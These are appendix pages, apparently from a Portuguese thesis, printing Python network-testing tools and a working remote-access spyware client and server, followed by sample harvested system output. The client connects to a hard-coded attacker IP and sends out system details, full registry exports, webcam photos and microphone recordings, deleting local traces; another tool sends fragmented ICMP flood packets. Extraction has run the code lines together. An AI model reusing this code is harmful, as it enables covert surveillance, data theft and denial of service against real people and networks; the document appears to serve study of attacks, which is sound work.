print '###################################################'print '# #'print '# Injecao de Pacotes de Rede V.1.0 #'print '# #'print '# envia "n" pacotes de rede a partir de #'print '# um ou varios ficheiros do tipo "pcap" #'print '# #'print '###################################################'print ' 'print 'Indique a sua opcao:'print ' 1 - Processar um ficheiro "pcap"'print ' 2 - Processar mais do que um ficheiro "pcap"'print ' 3 - Sair \n'





return '3'else:

return 'e'


pergunta2 = raw_input('(s/n)> ')if (pergunta2 == 's'):

return 's'elif (pergunta2 == 'n'):

return 'n'

.


Anexos

231 .

else:return 'e'

# processa um ficheirodef processar_um_ficheiro():

# pede ao utilizar o nome do ficheiroprint 'Indique o nome do ficheiro (ex:"captura.pcap")'nome_fich = raw_input('> ')

# pede ao utilizar quantas vezes deve o ficheiro ser processado, # ou seja, quantas vezes devem os pacotes ser enviadosprint 'Indique quantas vezes o ficheiro deve ser processado e enviado (ex:"2")'n_envio = raw_input('> ')

# informa o utilizar que o envio está a decorrerprint '\n...Aguarde, o envio de pacotes esta a decorrer...'

# lê do ficheiro para variávelpacotes=rdpcap(nome_fich)

# efetua o envio dos pacotes do ficheiro, o número de vezes# introduzido pelo utilizadornum=0num2=0for num in range (0, int(n_envio)):

for pacote in pacotes:num2 = num2 + 1sendp(pacote)

# informa o utilizador que o ficheiro foi processado com sucesso print '\nEnvio de "%s" pacotes efetuado com sucesso !'%num2print '\n'

# processa vários ficheirosdef processar_varios_ficheiros():

# pergunta ao utilizar se já indicou os nomes dos ficheiros a processarprint 'Ja indicou no ficheiro de configuracoes "conf_injeta.txt" os nomes'print 'dos ficheiros "*.pcap" ? 'print ' ex: ' print ' manha.pcap 'print ' tarde.pcap 'print ' noite.pcap \n'

# espera por uma opção válidawhile (1):

valida = pergunta2()#abre o ficheiro com os nomes dos ficheiros *.pcap a processarif (valida == 's'):


#abre o ficheiro em modo de leiturawith open('conf_injeta.txt', 'r') as f:

for linha in f:# lê do ficheiro para variável sem a quebra de linhavar_pcap = linha.strip()pacotes=rdpcap(var_pcap)

# efetua o envio dos pacotes do ficheiro, o número de vezes# introduzido pelo utilizadornum=0num2=0for num in range (0, 1): #envia 1 vez cada ficheiro

for pacote in pacotes:num2 = num2 + 1sendp(pacote)

# informa o utilizador que o ficheiro foi processado com sucesso print '\nEnvio de "%s" pacotes efetuado com sucesso !'%num2print '\n'

breakelif (valida == 'n'):

print 'Abra o ficheiro "conf_envia.txt" e coloque os nomes dos ficheiros "*.pcap" a processar, um em cada linha'

.


Anexos

232 .

#breakelse:

print 'Indique uma das opcoes possiveis...'


# limpa a consolacls()# cria o cabeçalho na janela de terminalcabecalho()# espera por uma opção válidawhile (1):


processar_um_ficheiro()cabecalho()

elif (n_fich_process == '2'):processar_varios_ficheiros()cabecalho()



.


Anexos

233 .

Anexo 4 – Aplicação “injeta_maus_pacotes.py” #!/usr/bin/env python# coding: 860

'''##########################################################################################




Data: novembro.2013

Descrição: aplicação destinada a enviar pacotes de dados comprometidos

##########################################################################################'''

# importação das bibliotecas necessáriasimport sysimport osfrom scapy.all import *from scapy.utils import rdpcap

''' ### FUNÇÕES ### '''




print '###################################################'print '# #'print '# Injecao de Maus Pacotes de Rede V.1.0 #'print '# #'print '# envia maus pacotes de rede a fim de #'print '# efetuar testes e avaliacoes #'print '# #'print '###################################################'print ' 'print 'Indique a sua opcao:'print ' 1 - Enviar pacotes TCP com Campos Reservados != 0'print ' 2 - Enviar pacotes de Protocolo Desconhecido 'print ' 3 - Enviar pacotes Inundacao ICMP 'print ' 4 - Sair \n'






return '4'else:

return 'e'

# Enviar pacotes TCP com Campos Reservados diferentes de zerodef eviar_pacotes_TCP_campos_reservados():

# pede ao utilizar o IP de destinoprint 'Indique IP de destino (ex:"192.168.0.12")'

.


Anexos

234 .

IP_dest = raw_input('> ')

# constrói o pacote, o valor para que o campo "reserved" seja 111# ‚ o código 14Lpacote=IP(dst=str(IP_dest))/TCP(reserved=14L, flags="A")

# pede ao utilizador quantas vezes deve o pacote ser enviadoprint 'Indique quantas vezes o pacote deve ser enviado (ex:"2")'n_envio = raw_input('> ')


# efetua o envio dos pacotesnum=0for num in range (0, int(n_envio)):

send(pacote)

num = num + 1

# informa o utilizador que o ficheiro foi processado com sucesso print '\nEnvio de "%s" pacotes efetuado com sucesso !'%numprint '\n'

# cria uma classe para um tipo de Protocolo desconhecidoclass Desconhecido(Packet):

name = "ProtocoloDesconhecido"fields_desc=[ ShortField("campo1",5),

XByteField("campo2",3) ,IntEnumField("campo3" , 1 ,

{ 1: "valor1", 2: "valor2" , 3: "valor3" } ) ]

# Enviar pacotes de Protocolo desconhecidodef eviar_pacotes_novo_Protocolo():

# pede ao utilizar o IP de destinoprint 'Indique IP de destino (ex:"192.168.0.12")'IP_dest = raw_input('> ')

# constrói o pacote, com a classe Desconhecidopacote=IP(dst=str(IP_dest))/Desconhecido(campo1=33, campo2=22, campo3=11)


# informa o utilizar que o envio está a decorrerprint '\n...Aguarde, o envio de pacotes está a decorrer...'


send(pacote)

num = num + 1


# Enviar pacotes inundação ICMPdef eviar_pacotes_inundacao_ICMP():

# pede ao utilizar o IP de destinoprint 'Indique IP de destino (ex:"192.168.0.12")'IP_dest = raw_input('> ')

# constrói o pacotepacote=fragment(IP(dst=IP_dest)/ICMP()/("X"*60000))


.


Anexos

235 .

# informa o utilizar que o envio está a decorrerprint '\n...Aguarde, o envio de pacotes está a decorrer...'


send(pacote)

num = num + 1



# limpa a consolacls()# cria o cabeçalho na janela de terminalcabecalho()# espera por uma opção válidawhile (1):


eviar_pacotes_TCP_campos_reservados()cabecalho()

elif (n_fich_process == '2'):eviar_pacotes_novo_Protocolo()cabecalho()

elif (n_fich_process == '3'):eviar_pacotes_inundacao_ICMP()cabecalho()



.


Anexos

236 .

Anexo 5 – Aplicação “cliente_malware.py”

#!/usr/bin/env python# coding: 860

'''##########################################################################################




Data: novembro.2013

Descrição: aplicação cliente destinada a efetuar ligação a um servidor e enviar informação do Computador onde está a ser executada

##########################################################################################'''

# importação das bibliotecas necessáriasimport socketfrom subprocess import callfrom VideoCapture import Deviceimport Imagefrom PIL import Image, ImageFont, ImageDrawimport platformimport sysimport osimport pyaudioimport wave

''' ### FUNÇÕES ### '''

# efetua a ligação ao servidordef efetua_ligacao():

global s

# ip do atacante (servidor)HOST = '89.214.172.208'# porto arbitrário não privilegiadoPORT = 50007

# criação do socket e ligaçãos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((HOST, PORT))

print '\n-> Ligacao efetuada com: ', HOSTprint ' a aguardar opcoes...\n\n'

# receção das opções por parte do atacantedata = s.recv(1024)

return data

# obtém e guarda em ficheiro a informação relativa ao estado do sistema# envia esse ficheiro para o atacante e posteriormente apaga-o do sistema atacadodef envia_info_sistema():

#utilização do módulo call para a chamada de comandos#escreve no ficheiro o nome da m quinacall("echo" + " . > info_sistema.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> info_sistema.txt", shell=True)call("echo" + " Informacao sobre o Nome do Computador: >> info_sistema.txt",

shell=True)

.


Anexos

237 .

call("echo" + " ------------------------------------------------------------------------------ >> info_sistema.txt", shell=True)

call("hostname >> info_sistema.txt", shell=True)

#escreve no ficheiro informação sobre a routing tablecall("echo" + " . >> info_sistema.txt", shell=True)call("echo" + " . >> info_sistema.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> info_sistema.txt", shell=True)call("echo" + " Informacao sobre a Routing Table: >> info_sistema.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> info_sistema.txt", shell=True)call("route" + " print >> info_sistema.txt", shell=True)

#escreve no ficheiro informação sobre os interfaces de redecall("echo" + " . >> info_sistema.txt", shell=True)call("echo" + " . >> info_sistema.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> info_sistema.txt", shell=True)call("echo" + " Informacao sobre os Interfaces de Rede: >> info_sistema.txt",

shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> info_sistema.txt", shell=True)call("ipconfig" + " /all >> info_sistema.txt", shell=True)

#escreve no ficheiro informação sobre os processos ativoscall("echo" + " . >> info_sistema.txt", shell=True)call("echo" + " . >> info_sistema.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> info_sistema.txt", shell=True)call("echo" + " Informacao sobre os Processos Ativos: >> info_sistema.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> info_sistema.txt", shell=True)call("tasklist >> info_sistema.txt", shell=True)

# abre o ficheiro em modo de escrita bin ria, coloca a informação em variável e fecha o ficheiro

f = open("info_sistema.txt", "rb")info = f.read()f.close()

# envia o ficheiro s.sendall(info)#s.close()

# apaga o ficheiroos.remove('info_sistema.txt')

# obtém e guarda em ficheiro a informação relativa ao hardware do sistema# envia esse ficheiro para o atacante e posteriormente apaga-o do sistema atacadodef envia_hardware_sistema():

#cria o ficheirofich1 = open("hardware_sistema.txt", "w+")

#escreve no ficheiro qual a plataforma da máquinaplataforma = platform.platform()fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write("Informacao sobre o Tipo de Plataforma do PC: \n")fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write(plataforma)fich1.write("\n")fich1.write("\n")

#escreve no ficheiro qual o tipo de máquinamaquina = platform.machine()fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write("Informacao sobre o Tipo de PC: \n")fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write(maquina)fich1.write("\n")

.


Anexos

238 .

fich1.write("\n")

#escreve no ficheiro qual o processador da máquinaprocessador = platform.processor()fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write("Informacao sobre o Tipo de Processador do PC: \n")fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write(processador)fich1.write("\n")fich1.write("\n")

#escreve no ficheiro qual a versão da máquinaversao = platform.release()fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write("Informacao sobre a Versao do PC: \n")fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write(versao)fich1.write("\n")fich1.write("\n")

#escreve no ficheiro qual o sistema operativo da máquinasistema = platform.system()fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write("Informacao sobre o Tipo de Sistema Operativo do PC: \n")fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write(sistema)fich1.write("\n")fich1.write("\n")

#escreve no ficheiro qual a versão do sistema operativo da m quinaversao = platform.version()fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write("Informacao sobre a Versao do Sistema Operativo do PC: \n")fich1.write("--------------------------------------------------------------------------

---- \n")fich1.write(versao)fich1.write("\n")fich1.write("\n")

#após a utilização do módulo platform do python, é necessário fechar o ficheiro antes da utilização do módulo call

#que executa comandos bashfich1.close()

#utilização do módulo call para a chamada de comandos bash, que também são escritos para ficheiro

#em modo de append ( >> ) para adicionar informação ao ficheiro já criado#escreve no ficheiro informação sobre os detalhes do disco e das unidades de CD/DVDcall("echo" + " -----------------------------------------------------------------------

------- >> hardware_sistema.txt", shell=True)call("echo" + " Informacao Detalhada do PC: >> hardware_sistema.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> hardware_sistema.txt", shell=True)call("systeminfo >> hardware_sistema.txt", shell=True)

# abre o ficheiro em modo de escrita bin ria, coloca a informação em variável e fecha o ficheiro

f = open("hardware_sistema.txt", "rb")info = f.read()f.close()

# envia o ficheiro s.sendall(info)#s.close()

# apaga o ficheiroos.remove('hardware_sistema.txt')

.


Anexos

239 .

# obtém e guarda em ficheiro a informação relativa ao registo do sistema# envia esse ficheiro para o atacante e posteriormente apaga-o do sistema atacadodef envia_registo_sistema():

# obtém informação da entrada HKEY CLASSES ROOT do Registo do Sistemacall("echo" + " -----------------------------------------------------------------------

------- >> registo_sistema_1.txt", shell=True)call("echo" + " Informacao sobre a entrada HKEY CLASSES ROOT do Registo do Sistema: >>

registo_sistema_1.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> registo_sistema_1.txt", shell=True)call("echo" + " . >> registo_sistema_1.txt", shell=True)call("reg" +" export HKCR registo_sistema_HKCR.txt", shell=True)

# obtém informação da entrada HKEY CURRENT USER do Registo do Sistemacall("echo" + " . >> registo_sistema_2.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> registo_sistema_2.txt", shell=True)call("echo" + " Informacao sobre a entrada HKEY CURRENT USER do Registo do Sistema: >>


------- >> registo_sistema_2.txt", shell=True)call("echo" + " . >> registo_sistema_2.txt", shell=True)call("reg" +" export HKCU registo_sistema_HKEY.txt", shell=True)

# obtém informação da entrada HKEY LOCAL MACHINE do Registo do Sistemacall("echo" + " . >> registo_sistema_3.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> registo_sistema_3.txt", shell=True)call("echo" + " Informacao sobre a entrada HKEY LOCAL MACHINE do Registo do Sistema: >>


------- >> registo_sistema_3.txt", shell=True)call("echo" + " . >> registo_sistema_3.txt", shell=True)call("reg" +" export HKLM registo_sistema_HKLM.txt", shell=True)

# obtém informação da entrada HKEY USERS do Registo do Sistemacall("echo" + " . >> registo_sistema_4.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> registo_sistema_4.txt", shell=True)call("echo" + " Informacao sobre a entrada HKEY USERS do Registo do Sistema: >>


------- >> registo_sistema_4.txt", shell=True)call("echo" + " . >> registo_sistema_4.txt", shell=True)call("reg" +" export HKU registo_sistema_HKU.txt", shell=True)

# obtém informação da entrada HKEY CURRENT CONFIG do Registo do Sistemacall("echo" + " . >> registo_sistema_5.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> registo_sistema_5.txt", shell=True)call("echo" + " Informacao sobre a entrada HKEY CURRENT CONFIG do Registo do Sistema:

>> registo_sistema_5.txt", shell=True)call("echo" + " -----------------------------------------------------------------------

------- >> registo_sistema_5.txt", shell=True)call("echo" + " . >> registo_sistema_5.txt", shell=True)call("reg" +" export HKCC registo_sistema_HKCC.txt", shell=True)

# junta todos os ficheiros criados num sócall("copy" +"

registo_sistema_1.txt+registo_sistema_HKCR.txt+registo_sistema_2.txt+egisto_sistema_HKEY.txt+registo_sistema_3.txt+registo_sistema_HKLM.txt+registo_sistema_4.txt+registo_sistema_HKU.txt+registo_sistema_5.txt+registo_sistema_HKCC.txt registo_sistema.txt", shell=True)

# abre o ficheiro em modo de escrita bin ria, coloca a informação ‡„o em variável e fecha o ficheiro

f = open("registo_sistema.txt", "rb")info = f.read()f.close()

# envia o ficheiro s.sendall(info)

# apaga os ficheirosos.remove('registo_sistema.txt')os.remove('registo_sistema_1.txt')os.remove('registo_sistema_HKCR.txt')

.


Anexos

240 .

os.remove('registo_sistema_2.txt')os.remove('registo_sistema_HKEY.txt')os.remove('registo_sistema_3.txt')os.remove('registo_sistema_HKLM.txt')os.remove('registo_sistema_4.txt')os.remove('registo_sistema_HKU.txt')os.remove('registo_sistema_5.txt')os.remove('registo_sistema_HKCC.txt')

# tira uma fotografia da webcamdef envia_foto():

# obtenção do dispositivo cam = Device()

# gravação da imagemcam.saveSnapshot('fotografia_sistema.jpg')

# abre o ficheiro em modo de escrita binária, coloca a informação em variável e fecha o ficheiro

f = open("fotografia_sistema.jpg", "rb")info = f.read()f.close()


# apaga o ficheiroos.remove('fotografia_sistema.jpg')

# grava o som do microfonedef envia_som(segundos):

# definições de formato e qualidade do ficheiro de somchunk = 1024FORMAT = pyaudio.paInt16CHANNELS = 1RATE = 44100RECORD_SECONDS = int(segundos)WAVE_OUTPUT_FILENAME = "som.wav"

# criação do objeto com recurso à biblioteca PyAudiop = pyaudio.PyAudio()

stream = p.open(format = FORMAT,channels = CHANNELS,rate = RATE,input = True,frames_per_buffer = chunk)

# gravação de somall = []for i in range(0, RATE / chunk * RECORD_SECONDS):

data = stream.read(chunk)all.append(data)

stream.close()p.terminate()

# criação do ficheirodata = ''.join(all)wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')wf.setnchannels(CHANNELS)wf.setsampwidth(p.get_sample_size(FORMAT))wf.setframerate(RATE)wf.writeframes(data)wf.close()

# abre o ficheiro em modo de escrita binária, coloca a informação em variável e fecha o ficheiro

f = open("som.wav", "rb")info = f.read()f.close()

.


Anexos

241 .


# apaga o ficheiroos.remove('som.wav')


# receção das opções por parte do atacantedata = efetua_ligacao()

# ciclo que verifica qual a opção recebida e chama a função# respetiva ou fecha a ligação caso receba '0'while data != '0':

if data == '0':print 'ordem para fechar ligacao !'s.close()

if data == '1':print 'recebida opcao 1 - envia a informacao do sistema'envia_info_sistema()data = s.recv(1024)

if data == '2':print 'recebida opcao 2 - envia a informacao do hardware'envia_hardware_sistema()data = s.recv(1024)

if data == '3':print 'recebida opcao 3 - envia a informacao do registo'envia_registo_sistema()data = s.recv(1024)

if data == '4':print 'recebida opcao 4 - envia uma fotografia'envia_foto()data = s.recv(1024)

if data == '5':print 'recebida opcao 5 - envia o som captado do microfone'info = '\nsegundos a gravar:'s.sendall(info)segundos = s.recv(1024)print 'duracao: ', segundosenvia_som(segundos)data = s.recv(1024)

.


Anexos

242 .

Anexo 6 – Aplicação “servidor_malware.py”

#!/usr/bin/env python# coding: 860

'''##########################################################################################




Data: novembro.2013

Descrição: aplicação servidor destinada a aguardar ligação de um cliente e enviar informação do Computador onde está a ser executada

##########################################################################################'''

# importação das bibliotecas necessáriasimport sysimport osimport socket

''' ### FUNÇÕES ### '''

# contrói o menu de opçõesdef menu_opcoes():

print '\n'print 'Exemplo de Malware - SERVIDOR\n\n'print 'Op‡”es:\n'print '\n'print ' 0 - terminar a ligacao'print ' 1 - obter informacao do sistema atacado'print ' 2 - obter informacao do hardware do sistema atacado'print ' 3 - obter informacao do registo do sistema atacado'print ' 4 - obter uma fotografia da webcam do sistema atacado'print ' 5 - obter som a partir do sistema atacado'print '\n'

# efetua a ligação ao clientedef efetua_ligacao():

print '\n'print 'Exemplo de Malware - SERVIDOR\n\n'print 'A aguardar por uma ligacao de um Cliente vitima ...'print '\n'

global s, conn

# nome simbólico que significa todas as interfaces disponíveisHOST = ''# porto arbitrário não privilegiadoPORT = 50007

# cria‡ção do socket, associação (bind) e escutar o clientes = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind((HOST, PORT))s.listen(1)

# aceitar a ligaçãoconn, addr = s.accept()

# limpeza da consola de sistemaos.system('cls')

.


Anexos

243 .

print '\n-> Ligacao efetuada com: ', addr


# limpeza da consola de sistemaos.system('cls')

# chama função para efetuar a ligaçãoefetua_ligacao()

# chama função para o menumenu_opcoes()

while True:opcao = raw_input("> ")

# se a opção introduzida pelo atacante for '0' ‚ terminada a ligaçãoif opcao == '0':

conn.sendall(opcao)conn.close()break

# se a opção introduzida pelo atacante for '1' cria um ficheiro, recebe a# informação do sistema e escreve para esse ficheiroif opcao == '1':

conn.sendall(opcao)

f = open("info_sistema.txt","wb")fich = conn.recv(99999999)f.write(fich)f.close()

print ('sou o servidor e recebi o resultado da opcao: obter informacao do sistema atacado')

# se a opção introduzida pelo atacante for '2' cria um ficheiro, recebe a# informação do hardware do sistema e escreve para esse ficheiroif opcao == '2':

conn.sendall(opcao)

f = open("hardware_sistema.txt","wb")fich = conn.recv(99999999)f.write(fich)f.close()

print ('sou o servidor e recebi o resultado da opcao: obter informacao do hardware do sistema atacado')

# se a opção introduzida pelo atacante for '3' cria um ficheiro, recebe a# informação do registo do sistema e escreve para esse ficheiroif opcao == '3':

conn.sendall(opcao)

f = open("registo_sistema.txt","wb")fich = conn.recv(99999999)f.write(fich)f.close()

print ('sou o servidor e recebi o resultado da opcao: obter informacao do registo do sistema atacado')

# se a opção introduzida pelo atacante for '4' cria um ficheiro, recebe a# uma imagem da webcam e escreve para esse ficheiroif opcao == '4':

conn.sendall(opcao)

f = open("fotografia_sistema.jpg","wb")fich = conn.recv(999999)f.write(fich)f.close()

print ('sou o servidor e recebi o resultado da opcao: obter fotografia do sistema atacado')

.


Anexos

244 .

# se a opção introduzida pelo atacante for '5', o cliente envia a pergunta de quantossegundos ser a gravação

# e o servidor introduz novo valor a enviar, após o qual recebe e escreve para o ficheiro criado

if opcao == '5':conn.sendall(opcao)recebido = conn.recv(999999)print recebidosegundos = raw_input(" > ")conn.sendall(segundos)

f = open("som.wav","wb")fich = conn.recv(999999)f.write(fich)f.close()

print ('sou o servidor e recebi o resultado da opcao: gravar som do sistemaatacado')

.


Anexos

245 .

Anexo 7 – Exemplos de Informação Recolhida . ------------------------------------------------------------------------------ Informacao sobre o Nome do Computador: ------------------------------------------------------------------------------ ManuelC . . ------------------------------------------------------------------------------ Informacao sobre a Routing Table: ------------------------------------------------------------------------------ =========================================================================== Lista de interface 15...4c ed de b1 04 4e ......Microsoft Virtual WiFi Miniport Adapter 12...4c ed de b1 04 4e ......Realtek RTL8191SE Wireless LAN 802.11n PCI-E NIC 10...00 23 18 34 42 fb ......Realtek PCIe GBE Family Controller 24...08 00 27 00 dc 1a ......VirtualBox Host-Only Ethernet Adapter 1...........................Software Loopback Interface 1 26...00 00 00 00 00 00 00 e0 Placa Microsoft ISATAP 16...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface 27...00 00 00 00 00 00 00 e0 Placa Microsoft ISATAP #2 25...00 00 00 00 00 00 00 e0 Placa Microsoft ISATAP #4 28...00 00 00 00 00 00 00 e0 Placa Microsoft ISATAP #3 =========================================================================== IPv4 Tabela de rotas =========================================================================== Rotas activas: Destino de rede Máscara de rede Gateway Interface M‚trica 0.0.0.0 0.0.0.0 192.168.0.98 192.168.0.129 276 0.0.0.0 0.0.0.0 192.168.0.98 192.168.0.134 30 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 169.254.0.0 255.255.0.0 On-link 169.254.172.109 276 169.254.172.109 255.255.255.255 On-link 169.254.172.109 276 169.254.255.255 255.255.255.255 On-link 169.254.172.109 276 192.168.0.0 255.255.255.0 On-link 192.168.0.129 276 192.168.0.0 255.255.255.0 On-link 192.168.0.134 286 192.168.0.129 255.255.255.255 On-link 192.168.0.129 276 192.168.0.132 255.255.255.255 On-link 192.168.0.129 276 192.168.0.134 255.255.255.255 On-link 192.168.0.134 286 192.168.0.255 255.255.255.255 On-link 192.168.0.129 276 192.168.0.255 255.255.255.255 On-link 192.168.0.134 286 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 169.254.172.109 276 224.0.0.0 240.0.0.0 On-link 192.168.0.129 276 224.0.0.0 240.0.0.0 On-link 192.168.0.134 286 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 169.254.172.109 276 255.255.255.255 255.255.255.255 On-link 192.168.0.129 276 255.255.255.255 255.255.255.255 On-link 192.168.0.134 286 =========================================================================== Rotas persistentes: Endereço de rede Máscara Endereço de gateway Métrica 0.0.0.0 0.0.0.0 192.168.0.98 Predefinição =========================================================================== IPv6 Tabela de rotas =========================================================================== Rotas activas: Se destino de rede métrica Gateway 1 306 ::1/128 On-link 24 276 fe80::/64 On-link 10 276 fe80::/64 On-link 12 286 fe80::/64 On-link 24 276 fe80::4d2f:43d0:959c:ac6d/128 On-link 10 276 fe80::5806:d46b:f15a:4ab2/128 On-link 12 286 fe80::6dfa:a314:c47c:5515/128 On-link

.


Anexos

246 .

1 306 ff00::/8 On-link 24 276 ff00::/8 On-link 10 276 ff00::/8 On-link 12 286 ff00::/8 On-link =========================================================================== Rotas persistentes: Nenhum . . ------------------------------------------------------------------------------ Informacao sobre os Interfaces de Rede: ------------------------------------------------------------------------------ Configuração IP do Windows Nome do Anfitrião. . . . . . . . .: ManuelC Sufixo DNS principal. . . . . . . : ar.local Tipo de nó. . . . . . . . . . . . : H¡brido Rota IP activada. . . . . . . . . : Não WINS Proxy activado . . . . . . . : Não Lista de Pesquisa de Sufixos DNS : ar.local server Placa de rede local sem fios Ligação de rede sem fios 2: Estado do suporte . . . . . . . . : Suporte desligado Sufixo DNS especifico da ligação. : Descrição . . . . . . . . . . . . : Microsoft Virtual WiFi Miniport Adapter Endereço fisico . . . . . . . . . : 4C-ED-DE-B1-04-4E DHCP activado . . . . . . . . . . : Sim Autoconfiguração activada . . . . : Sim Placa de rede local sem fios Ligação de rede sem fios: Sufixo DNS especifico da ligação. : server Descrição . . . . . . . . . . . . : Realtek RTL8191SE Wireless LAN 802.11n PCI-E NIC Endereço fisico . . . . . . . . . : 4C-ED-DE-B1-04-4E DHCP activado . . . . . . . . . . : Sim Autoconfiguração activada . . . . : Sim Endereço IPv6 de local de ligação : fe80::6dfa:a314:c47c:5515%12(Preferido) Endereço IPv4 . . . . . . . . . . . . . . : 192.168.0.134(Preferido) Máscara de sub-rede . . . . . . . : 255.255.255.0 Concessão obtida. . . . . . . . . : terça-feira, 27 de Agosto de 2013 09:13:42 Concessão obtida v lida at‚ . . . : sexta-feira, 3 de Outubro de 2149 18:31:55 Gateway predefinido . . . . . . . : 192.168.0.98 Servidor DHCP . . . . . . . . . . : 192.168.0.111 Servidores DNS. . . . . . . . . . : 192.168.0.111 NetBIOS por Tcpip . . . . . . . . . . . . : Activado Adaptador ethernet Ligação de área Local: Sufixo DNS especifico da ligação. : Descrição . . . . . . . . . . . . : Realtek PCIe GBE Family Controller Endereço fisico . . . . . . . . . : 00-23-18-34-42-FB DHCP activado . . . . . . . . . . : NÆo Autoconfiguração activada . . . . : Sim Endereço IPv6 de local de ligação : fe80::5806:d46b:f15a:4ab2%10(Preferido) Endereço IPv4 . . . . . . . . . . . . . . : 192.168.0.129(Preferido) Máscara de sub-rede . . . . . . . : 255.255.255.0 Endereço IPv4 . . . . . . . . . . . . . . : 192.168.0.132(Preferido) Máscara de sub-rede . . . . . . . : 255.255.255.0 Gateway predefinido . . . . . . . : 192.168.0.98 Servidores DNS. . . . . . . . . . : 192.168.0.98 198.168.0.111 NetBIOS por Tcpip . . . . . . . . . . . . : Activado Adaptador ethernet VirtualBox Host-Only Network: Sufixo DNS especifico da ligação. : Descrição . . . . . . . . . . . . : VirtualBox Host-Only Ethernet Adapter Endereço fisico . . . . . . . . . : 08-00-27-00-DC-1A DHCP activado . . . . . . . . . . : Não Autoconfiguração activada . . . . : Sim

.


Anexos

247 .

Endereço IPv6 de local de ligação : fe80::4d2f:43d0:959c:ac6d%24(Preferido) Endereço IPv4 de Configuração Automática. : 169.254.172.109(Preferido) Máscara de sub-rede . . . . . . . : 255.255.0.0 Gateway predefinido . . . . . . . : IAID DHCPv6 . . . . . . . . . . . : 436731943 DUID Cliente DHCPv6 . . . . . . . : 00-01-00-01-16-CD-A0-78-00-23-18-34-42-FB Servidores DNS. . . . . . . . . . : fec0:0:0:ffff::1%1 fec0:0:0:ffff::2%1 fec0:0:0:ffff::3%1 NetBIOS por Tcpip . . . . . . . . . . . . : Activado Adaptador Tunnel isatap.{D524FC45-49C1-4F0C-B53B-3AA1DFC0EF27}: Estado do suporte . . . . . . . . : Suporte desligado Sufixo DNS especifico da ligação. : Descrição . . . . . . . . . . . . : Placa Microsoft ISATAP Endereço f¡sico . . . . . . . . . : 00-00-00-00-00-00-00-E0 DHCP activado . . . . . . . . . . : Não Autoconfiguração activada . . . . : Sim Adaptador Tunnel Teredo Tunneling Pseudo-Interface: Estado do suporte . . . . . . . . : Suporte desligado Sufixo DNS especifico da ligação. : Descrição . . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface Endereço fisico . . . . . . . . . : 00-00-00-00-00-00-00-E0 DHCP activado . . . . . . . . . . : Não Autoconfiguração activada . . . . : Sim Adaptador Tunnel isatap.{6E2C9C19-7EAD-47F7-B080-CDA5A2FC49CC}: Estado do suporte . . . . . . . . : Suporte desligado Sufixo DNS especifico da ligação. : Descrição . . . . . . . . . . . . : Placa Microsoft ISATAP #2 Endereço fisico . . . . . . . . . : 00-00-00-00-00-00-00-E0 DHCP activado . . . . . . . . . . : Não Autoconfiguração activada . . . . : Sim Adaptador Tunnel isatap.{0F784EA3-D612-4A84-84B6-E1BF6C7A0AA0}: Estado do suporte . . . . . . . . : Suporte desligado Sufixo DNS especifico da ligação. : Descrição . . . . . . . . . . . . : Placa Microsoft ISATAP #4 Endereço fisico . . . . . . . . . : 00-00-00-00-00-00-00-E0 DHCP activado . . . . . . . . . . : Não Autoconfiguração activada . . . . : Sim Adaptador Tunnel isatap.server: Estado do suporte . . . . . . . . : Suporte desligado Sufixo DNS espec¡fico da ligação. : server Descrição . . . . . . . . . . . . : Placa Microsoft ISATAP #3 Endereço fisico . . . . . . . . . : 00-00-00-00-00-00-00-E0 DHCP activado . . . . . . . . . . : Não Autoconfiguração activada . . . . : Sim . . ------------------------------------------------------------------------------ Informação sobre os Processos Activos: ------------------------------------------------------------------------------ Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 24 K System 4 Services 0 5.932 K smss.exe 412 Services 0 1.532 K csrss.exe 564 Services 0 7.460 K wininit.exe 644 Services 0 7.716 K csrss.exe 664 Console 1 15.332 K services.exe 724 Services 0 14.568 K lsass.exe 732 Services 0 23.272 K lsm.exe 744 Services 0 6.044 K winlogon.exe 836 Console 1 11.756 K

.


Anexos

248 .

